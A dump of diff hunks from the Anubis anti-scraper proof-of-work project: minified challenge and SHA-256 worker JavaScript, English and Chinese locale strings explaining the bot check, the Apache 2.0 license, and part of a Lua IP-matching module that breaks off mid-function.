THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
used under the terms of the Apache 2 license.
@licend The above is the entire license notice
for the JavaScript code in this page.
*/
(()=>{var k=()=>navigator.hardwareConcurrency!==void 0?navigator.hardwareConcurrency:1;function n(c,b,w=5,e=null,g,u=Math.trunc(Math.max(k()/2,1))){console.debug("fast algo");let s="purejs";return window.isSecureContext&&(s="webcrypto"),(navigator.userAgent.includes("Firefox")||navigator.userAgent.includes("Goanna"))&&(console.log("Firefox detected, using pure-JS fallback"),s="purejs"),new Promise((p,l)=>{let m=`${c.basePrefix}/.within.website/x/cmd/anubis/static/js/worker/sha256-${s}.mjs?cacheBuster=${c.version}`,f=[],d=!1,a=()=>{console.log("PoW aborted"),i(),l(new DOMException("Aborted","AbortError"))},i=()=>{d||(d=!0,f.forEach(r=>r.terminate()),e?.removeEventListener("abort",a))};if(e!=null){if(e.aborted)return a();e.addEventListener("abort",a,{once:!0})}for(let r=0;r<u;r++){let t=new Worker(m);t.onmessage=o=>{typeof o.data=="number"?g?.(o.data):(i(),p(o.data))},t.onerror=o=>{i(),l(o)},t.postMessage({data:b,difficulty:w,nonce:r,threads:u}),f.push(t)}})}var P={fast:n,slow:n};})();
//# sourceMappingURL=index.mjs.map
@@ -0,0 +1,32 @@
/*
@licstart The following is the entire license notice for the
JavaScript code in this page.
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
used under the terms of the Apache 2 license.
@licend The above is the entire license notice
for the JavaScript code in this page.
*/
(()=>{var I=()=>navigator.hardwareConcurrency!==void 0?navigator.hardwareConcurrency:1;function _(e,n,s=5,o=null,i,u=Math.trunc(Math.max(I()/2,1))){console.debug("fast algo");let a="purejs";return window.isSecureContext&&(a="webcrypto"),(navigator.userAgent.includes("Firefox")||navigator.userAgent.includes("Goanna"))&&(console.log("Firefox detected, using pure-JS fallback"),a="purejs"),new Promise((E,x)=>{let M=`${e.basePrefix}/.within.website/x/cmd/anubis/static/js/worker/sha256-${a}.mjs?cacheBuster=${e.version}`,p=[],d=!1,b=()=>{console.log("PoW aborted"),h(),x(new DOMException("Aborted","AbortError"))},h=()=>{d||(d=!0,p.forEach(c=>c.terminate()),o?.removeEventListener("abort",b))};if(o!=null){if(o.aborted)return b();o.addEventListener("abort",b,{once:!0})}for(let c=0;c<u;c++){let g=new Worker(M);g.onmessage=m=>{typeof m.data=="number"?i?.(m.data):(h(),E(m.data))},g.onerror=m=>{h(),x(m)},g.postMessage({data:n,difficulty:s,nonce:c,threads:u}),p.push(g)}})}var j={fast:_,slow:_};var v=(e="",n={})=>{let s=new URL(e,window.location.href);return Object.entries(n).forEach(([o,i])=>s.searchParams.set(o,i)),s.toString()},L=e=>{let n=document.getElementById(e);return n===null?null:JSON.parse(n.textContent)},k=(e,n,s)=>v(`${s}/.within.website/x/cmd/anubis/static/img/${e}.webp`,{cacheBuster:n});var W=async()=>document.documentElement.lang,S=async e=>{let n=L("anubis_base_prefix");if(n!==null)try{return await(await fetch(`${n}/.within.website/x/cmd/anubis/static/locales/${e}.json`)).json()}catch(s){if(console.warn(`Failed to load translations for ${e}, falling back to English`),e!=="en")return await S("en");throw s}},C=()=>{let e=L("anubis_public_url");if(e!==null&&e&&window.location.href.startsWith(e)){let t=new URLSearchParams(window.location.search).get("redir");if(t){try{let u=new URL(t,window.location.href);if(u.protocol==="http:"||u.protocol==="https:")return t}catch(s){}}return window.location.href}return window.location.href},$={},D,A=async()=>{D=await W(),$=await S(D)},r=e=>$[`js_${e}`]||$[e]||e;(async()=>{await A();let e=[{name:"Web Workers",msg:r("web_workers_error"),value:window.Worker},{name:"Cookies",msg:r("cookies_error"),value:navigator.cookieEnabled}],n=document.getElementById("status"),s=document.getElementById("image"),o=document.getElementById("title"),i=document.getElementById("progress"),u=L("anubis_version"),a=L("anubis_base_prefix"),E=document.querySelector("details"),x=!1;E&&E.addEventListener("toggle",()=>{E.open&&(x=!0)});let M=({titleMsg:l,statusMsg:f,imageSrc:w})=>{o.textContent=l,n.textContent=f,s.src=w,i.style.display="none"};n.textContent=r("calculating");for(let{value:l,name:f,msg:w}of e)if(!l){M({titleMsg:`${r("missing_feature")} ${f}`,statusMsg:w,imageSrc:k("reject",u,a)});return}let{challenge:p,rules:d}=L("anubis_challenge"),b=j[d.algorithm];if(!b){M({titleMsg:r("challenge_error"),statusMsg:r("challenge_error_msg"),imageSrc:k("reject",u,a)});return}n.textContent=`${r("calculating_difficulty")} ${d.difficulty}, `,i.style.display="inline-block";let h=document.createTextNode(`${r("speed")} 0kH/s`);n.appendChild(h);let c=0,g=!1,m=Math.pow(16,-d.difficulty);try{let l=Date.now(),{hash:f,nonce:w}=await b({basePrefix:a,version:u},p.randomData,d.difficulty,null,t=>{let y=Date.now()-l;y-c>1e3&&(c=y,h.data=`${r("speed")} ${(t/y).toFixed(3)}kH/s`);let T=Math.pow(1-m,t),P=(1-Math.pow(T,2))*100;i["aria-valuenow"]=P,i.firstElementChild!==null&&(i.firstElementChild.style.width=`${P}%`),T<.1&&!g&&(n.append(document.createElement("br"),document.createTextNode(r("verification_longer"))),g=!0)}),H=Date.now();if(console.log({hash:f,nonce:w}),x){let y=function(){let T=C();window.location.replace(v(`${a}/.within.website/x/cmd/anubis/api/pass-challenge`,{id:p.id,response:f,nonce:w,redir:T,elapsedTime:H-l}))},t=document.getElementById("progress");t.style.display="flex",t.style.alignItems="center",t.style.justifyContent="center",t.style.height="2rem",t.style.borderRadius="1rem",t.style.cursor="pointer",t.style.background="#b16286",t.style.color="white",t.style.fontWeight="bold",t.style.outline="4px solid #b16286",t.style.outlineOffset="2px",t.style.width="min(20rem, 90%)",t.style.margin="1rem auto 2rem",t.textContent=r("finished_reading"),t.onclick=y,setTimeout(y,3e4)}else{let t=C();window.location.replace(v(`${a}/.within.website/x/cmd/anubis/api/pass-challenge`,{id:p.id,response:f,nonce:w,redir:t,elapsedTime:H-l}))}}catch(l){M({titleMsg:r("calculation_error"),statusMsg:`${r("calculation_error_msg")} ${l.message}`,imageSrc:k("reject",u,a)})}})();})();
//# sourceMappingURL=main.mjs.map
File diff suppressed because one or more lines are too long
@@ -0,0 +1,32 @@
/*
@licstart The following is the entire license notice for the
JavaScript code in this page.
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
used under the terms of the Apache 2 license.
@licend The above is the entire license notice
for the JavaScript code in this page.
*/
(()=>{var h=new TextEncoder,y=async e=>{let s=h.encode(e);return await crypto.subtle.digest("SHA-256",s)},g=e=>e.reduce((s,a)=>s+a.toString(16).padStart(2,"0"),"");addEventListener("message",async({data:e})=>{let{data:s,difficulty:a,threads:d}=e,t=e.nonce,f=t===0,o=0,c=Math.floor(a/2),l=a%2!==0;for(;;){let u=await y(s+t),i=new Uint8Array(u),r=!0;for(let n=0;n<c;n++)if(i[n]!==0){r=!1;break}if(r&&l&&i[c]>>4!==0&&(r=!1),r){let n=g(i);postMessage({hash:n,data:s,difficulty:a,nonce:t});return}t+=d,o++,t%1!==0&&(t=Math.trunc(t)),f&&(o&1023)===0&&postMessage(t)}});})();
//# sourceMappingURL=sha256-webcrypto.mjs.map
@@ -0,0 +1,66 @@
{
"loading": "Loading...",
"why_am_i_seeing": "Why am I seeing this?",
"protected_by": "Protected by",
"protected_from": "From",
"made_with": "Made with ❤️ in 🇨🇦",
"mascot_design": "Mascot design by",
"ai_companies_explanation": "You are seeing this because the administrator of this website has set up Anubis to protect the server against the scourge of AI companies aggressively scraping websites. This can and does cause downtime for the websites, which makes their resources inaccessible for everyone.",
"anubis_compromise": "Anubis is a compromise. Anubis uses a Proof-of-Work scheme in the vein of Hashcash, a proposed proof-of-work scheme for reducing email spam. The idea is that at individual scales the additional load is ignorable, but at mass scraper levels it adds up and makes scraping much more expensive.",
"hack_purpose": "Ultimately, this is a placeholder solution so that more time can be spent on fingerprinting and identifying headless browsers (EG: via how they do font rendering) so that the challenge proof of work page doesn't need to be presented to users that are much more likely to be legitimate.",
"simplified_explanation": "This is a measure against bots and malicious requests similar to a CAPTCHA. However, instead of having to do work yourself, your browser is given a calculation task that it has to solve to ensure that it is a valid client. This concept is called <a href=\"https://en.wikipedia.org/wiki/Proof_of_work\">Proof of Work</a>. The task is calculated in a few seconds and you are granted access to the website. Thank you for your understanding and patience.",
"jshelter_note": "Please note that Anubis requires the use of modern JavaScript features that plugins like JShelter will disable. Please disable JShelter or other such plugins for this domain.",
"version_info": "This website is running Anubis version",
"try_again": "Try again",
"go_home": "Go home",
"contact_webmaster": "or if you believe you should not be blocked, please contact the webmaster at",
"connection_security": "Please wait a moment while we ensure the security of your connection.",
"javascript_required": "Sadly, you must enable JavaScript to get past this challenge. This is required because AI companies have changed the social contract around how website hosting works. A no-JS solution is a work-in-progress.",
"benchmark_requires_js": "Running the benchmark tool requires JavaScript to be enabled.",
"difficulty": "Difficulty:",
"algorithm": "Algorithm:",
"compare": "Compare:",
"time": "Time",
"iters": "Iters",
"time_a": "Time A",
"iters_a": "Iters A",
"time_b": "Time B",
"iters_b": "Iters B",
"static_check_endpoint": "This is just a check endpoint for your reverse proxy to use.",
"authorization_required": "Authorization required",
"cookies_disabled": "Your browser is configured to disable cookies. Anubis requires cookies for the legitimate interest of making sure you are a valid client. Please enable cookies for this domain",
"access_denied": "Access Denied: error code",
"dronebl_entry": "DroneBL reported an entry",
"see_dronebl_lookup": "see",
"internal_server_error": "Internal Server Error: administrator has misconfigured Anubis. Please contact the administrator and ask them to look for the logs around",
"invalid_redirect": "Invalid redirect",
"redirect_not_parseable": "Redirect URL not parseable",
"redirect_domain_not_allowed": "Redirect domain not allowed",
"missing_required_forwarded_headers": "Missing required X-Forwarded-* headers",
"failed_to_sign_jwt": "failed to sign JWT",
"invalid_invocation": "Invalid invocation of MakeChallenge",
"client_error_browser": "Client Error: Please ensure your browser is up to date and try again later.",
"oh_noes": "Oh noes!",
"benchmarking_anubis": "Benchmarking Anubis!",
"you_are_not_a_bot": "You are not a bot!",
"making_sure_not_bot": "Making sure you're not a bot!",
"celphase": "CELPHASE",
"js_web_crypto_error": "Your browser doesn't have a functioning web.crypto element. Are you viewing this over a secure context?",
"js_web_workers_error": "Your browser doesn't support web workers (Anubis uses this to avoid freezing your browser). Do you have a plugin like JShelter installed?",
"js_cookies_error": "Your browser doesn't store cookies. Anubis uses cookies to determine which clients have passed challenges by storing a signed token in a cookie. Please enable storing cookies for this domain. The names of the cookies Anubis stores may vary without notice. Cookie names and values are not part of the public API.",
"js_context_not_secure": "Your context is not secure!",
"js_context_not_secure_msg": "Try connecting over HTTPS or let the admin know to set up HTTPS. For more information, see <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts#when_is_a_context_considered_secure\">MDN</a>.",
"js_calculating": "Calculating...",
"js_missing_feature": "Missing feature",
"js_challenge_error": "Challenge error!",
"js_challenge_error_msg": "Failed to resolve check algorithm. You may want to reload the page.",
"js_calculating_difficulty": "Calculating...<br/>Difficulty:",
"js_speed": "Speed:",
"js_verification_longer": "Verification is taking longer than expected. Please do not refresh the page.",
"js_success": "Success!",
"js_done_took": "Done! Took",
"js_iterations": "iterations",
"js_finished_reading": "I've finished reading, continue →",
"js_calculation_error": "Calculation error!",
"js_calculation_error_msg": "Failed to calculate challenge:"
}
@@ -0,0 +1,66 @@
{
"loading": "加载中...",
"why_am_i_seeing": "为什么我会看到这个?",
"protected_by": "本网站由",
"protected_from": "保护,来自",
"made_with": "在 🇨🇦 用 ❤️ 制作",
"mascot_design": "吉祥物由",
"ai_companies_explanation": "您会看到这个画面,是因为网站管理员启用了 Anubis 来保护服务器,避免 AI 公司大量爬取网站内容。这类行为会导致网站崩溃,让所有用户都无法正常访问资源。",
"anubis_compromise": "Anubis 是一种折中做法。它采用了类似 Hashcash 的工作量证明机制(Proof-of-Work),该机制最初是为了减少垃圾邮件而提出。其核心概念是:对个别用户而言,额外的计算负担可以忽略,但对大规模爬虫来说,累积起来的成本将大幅增加,从而让爬取行为变得更困难。",
"hack_purpose": "最终,这是一个占位符解决方案,以便将更多时间用于指纹识别和识别无头浏览器(例如:通过它们如何进行字体渲染),从而无需向更可能是合法用户的用户呈现挑战工作量证明页面。",
"jshelter_note": "请注意,Anubis 需要使用现代 JavaScript 功能,而像 JShelter 这类插件可能会阻挡这些功能。请为此域名停用 JShelter 或类似的插件。",
"version_info": "这个网站正在运行的 Anubis 版本为",
"try_again": "再试一次",
"go_home": "返回首页",
"contact_webmaster": "或者您觉得您不应该被封锁,请联系网站管理员于",
"connection_security": "请稍等,我们需要在继续之前检查您的连接安全性。",
"javascript_required": "很遗憾,您必须启用 JavaScript 才能通过这项验证。这是因为 AI 公司已经改变了网站托管的社会契约,因此我们必须采取这样的保护机制。无需 JavaScript 的解决方案仍在开发中。",
"benchmark_requires_js": "运行基准测试工具需要启用 JavaScript。",
"difficulty": "难度:",
"algorithm": "算法:",
"compare": "比较:",
"time": "时间",
"iters": "迭代",
"time_a": "时间 A",
"iters_a": "迭代 A",
"time_b": "时间 B",
"iters_b": "迭代 B",
"static_check_endpoint": "这是提供给您的反向代理服务器使用的检查端点。",
"authorization_required": "需要认证",
"cookies_disabled": "您的浏览器目前已禁用 Cookie,为了确认您是合法用户,Anubis 需要启用 Cookie。 请您为此域名启用 Cookie",
"access_denied": "拒绝访问:错误代码",
"dronebl_entry": "DroneBL 报告了一条记录",
"see_dronebl_lookup": "见",
"internal_server_error": "内部服务器错误:管理员错误地配置了 Anubis。 请联系管理员要求他们检查日志",
"invalid_redirect": "无效的重定向",
"redirect_not_parseable": "重定向 URL 无法解析",
"redirect_domain_not_allowed": "重定向的域名并不允许",
"failed_to_sign_jwt": "签署 JWT 失败",
"invalid_invocation": "无效的 MakeChallenge 调用",
"client_error_browser": "客户端错误:请确保您的浏览器是最新版本并稍候再试。",
"oh_noes": "哎呀糟糕了!",
"benchmarking_anubis": "正在进行 Anubis 性能测试!",
"you_are_not_a_bot": "你不是机器人!",
"making_sure_not_bot": "正在确认你是不是机器人!",
"celphase": "CELPHASE 设计",
"js_web_crypto_error": "您的浏览器无法正常使用 web.crypto 组件。您是否通过安全连接(HTTPS)查看此网站?",
"js_web_workers_error": "您的浏览器并不支持 Web workers (Anubis 使用这个来避免冻结您的浏览器 )您有安装像是 JShelter 之类的插件吗?",
"js_cookies_error": "您的浏览器无法存储 Cookie。 Anubis 会使用 Cookie 存储签署的凭证,以判断用户是否已通过验证。请为此域名启用 Cookie 存储功能。 请注意,Anubis 存储的 Cookie 名称可能会变动,且其名称与内容不属于公开 API 的一部分。",
"js_context_not_secure": "您的内容并不安全",
"js_context_not_secure_msg": "请尝试使用 HTTPS 连接,或联系网站管理员设置 HTTPS。更多信息请参见 <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts#when_is_a_context_considered_secure\">MDN</a>。",
"js_calculating": "计算中...",
"js_missing_feature": "缺少功能",
"js_challenge_error": "挑战错误!",
"js_challenge_error_msg": "解决检查算法失败。 您可能会想要刷新页面。",
"js_calculating_difficulty": "计算中...<br/>难度:",
"js_speed": "速度:",
"js_verification_longer": "验证所花的时间高于预期。 请不要刷新页面。",
"js_success": "成功!",
"js_done_took": "完成! 花费",
"js_iterations": "迭代",
"js_finished_reading": "我读完了,继续 →",
"js_calculation_error": "计算错误!",
"js_calculation_error_msg": "计算挑战失败:",
"missing_required_forwarded_headers": "缺少必要的 X-Forwarded-* 头",
"simplified_explanation": "这是一种类似于验证码的措施,用于防止机器人和恶意请求。但是,您无需自己动手,您的浏览器会收到一个计算任务,必须解决该任务以确保它是有效的客户端。这个概念称为<a href=\"https://en.wikipedia.org/wiki/Proof_of_work\">工作量证明</a>。该任务在几秒钟内计算完毕,您将被授予访问网站的权限。感谢您的理解和耐心。"
}
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,387 @@
local base = require("resty.core.base")
local bit = require("bit")
local clear_tab = require("table.clear")
local new_tab = base.new_tab
local find_str = string.find
local tonumber = tonumber
local ipairs = ipairs
local pairs = pairs
local ffi = require "ffi"
local ffi_cdef = ffi.cdef
local ffi_copy = ffi.copy
local ffi_new = ffi.new
local C = ffi.C
local insert_tab = table.insert
local string = string
local setmetatable=setmetatable
local type = type
local error = error
local str_sub = string.sub
local str_byte = string.byte
local cur_level = ngx.config.subsystem == "http" and
require "ngx.errlog" .get_sys_filter_level()
local AF_INET = 2
local AF_INET6 = 10
if ffi.os == "OSX" then
AF_INET6 = 30
end
local _M = {_VERSION = 0.3}
ffi_cdef[[
int inet_pton(int af, const char * restrict src, void * restrict dst);
uint32_t ntohl(uint32_t netlong);
]]
local parse_ipv4
do
local inet = ffi_new("unsigned int [1]")
function parse_ipv4(ip)
if not ip then
return false
end
if C.inet_pton(AF_INET, ip, inet) ~= 1 then
return false
end
return C.ntohl(inet[0])
end
end
_M.parse_ipv4 = parse_ipv4
local parse_bin_ipv4
do
local inet = ffi_new("unsigned int [1]")
function parse_bin_ipv4(ip)
if not ip or #ip ~= 4 then
return false
end
ffi_copy(inet, ip, 4)
return C.ntohl(inet[0])
end
end
local parse_ipv6
do
local inets = ffi_new("unsigned int [4]")
function parse_ipv6(ip)
if not ip then
return false
end
if str_byte(ip, 1, 1) == str_byte('[')
and str_byte(ip, #ip) == str_byte(']') then
-- strip square brackets around IPv6 literal if present
ip = str_sub(ip, 2, #ip - 1)
end
if C.inet_pton(AF_INET6, ip, inets) ~= 1 then
return false
end
local inets_arr = new_tab(4, 0)
for i = 0, 3 do
insert_tab(inets_arr, C.ntohl(inets[i]))
end
return inets_arr
end
end
_M.parse_ipv6 = parse_ipv6
local parse_bin_ipv6
do
local inets = ffi_new("unsigned int [4]")
function parse_bin_ipv6(ip)
if not ip or #ip ~= 16 then
return false
end
ffi_copy(inets, ip, 16)
local inets_arr = new_tab(4, 0)
for i = 0, 3 do
insert_tab(inets_arr, C.ntohl(inets[i]))
end
return inets_arr
end
end
local mt = {__index = _M}
local ngx_log = ngx.log
local ngx_INFO = ngx.INFO
local function log_info(...)
if cur_level and ngx_INFO > cur_level then
return
end
return ngx_log(ngx_INFO, ...)
end
local function split_ip(ip_addr_org)
local idx = find_str(ip_addr_org, "/", 1, true)
if not idx then
return ip_addr_org
end
local ip_addr = str_sub(ip_addr_org, 1, idx - 1)
local ip_addr_mask = str_sub(ip_addr_org, idx + 1)
return ip_addr, tonumber(ip_addr_mask)
end
_M.split_ip = split_ip
local idxs = {}
local function gen_ipv6_idxs(inets_ipv6, mask)
clear_tab(idxs)
for _, inet in ipairs(inets_ipv6) do
local valid_mask = mask
if valid_mask > 32 then
valid_mask = 32
end
if valid_mask == 32 then
insert_tab(idxs, inet)
else
insert_tab(idxs, bit.rshift(inet, 32 - valid_mask))
end
mask = mask - 32
if mask <= 0 then
break
end
end
return idxs
end
local function new(ips, with_value)
if not ips or type(ips) ~= "table" then
error("missing valid ip argument", 2)
end
local parsed_ipv4s = {}
local parsed_ipv4s_mask = {}
local ipv4_match_all_value
local parsed_ipv6s = {}
local parsed_ipv6s_mask = {}
local ipv6_values = {}
local ipv6s_values_idx = 1
local ipv6_match_all_value
local iter = with_value and pairs or ipairs
for a, b in iter(ips) do
local ip_addr_org, value
if with_value then
ip_addr_org = a
value = b
else
ip_addr_org = b
value = true
end
local ip_addr, ip_addr_mask = split_ip(ip_addr_org)
local inet_ipv4 = parse_ipv4(ip_addr)
if inet_ipv4 then
ip_addr_mask = ip_addr_mask or 32
if ip_addr_mask == 32 then
parsed_ipv4s[inet_ipv4] = value
elseif ip_addr_mask == 0 then
ipv4_match_all_value = value
else
local valid_inet_addr = bit.rshift(inet_ipv4, 32 - ip_addr_mask)
parsed_ipv4s_mask[ip_addr_mask] = parsed_ipv4s_mask[ip_addr_mask] or {}
parsed_ipv4s_mask[ip_addr_mask][valid_inet_addr] = value
log_info("ipv4 mask: ", ip_addr_mask,
" valid inet: ", valid_inet_addr)
end
goto continue
end
local inets_ipv6 = parse_ipv6(ip_addr)
if inets_ipv6 then
ip_addr_mask = ip_addr_mask or 128
if ip_addr_mask == 128 then
parsed_ipv6s[ip_addr] = value
elseif ip_addr_mask == 0 then
ipv6_match_all_value = value
end
parsed_ipv6s[ip_addr_mask] = parsed_ipv6s[ip_addr_mask] or {}
local inets_idxs = gen_ipv6_idxs(inets_ipv6, ip_addr_mask)
local node = parsed_ipv6s[ip_addr_mask]
for i, inet in ipairs(inets_idxs) do
if i == #inets_idxs then
if with_value then
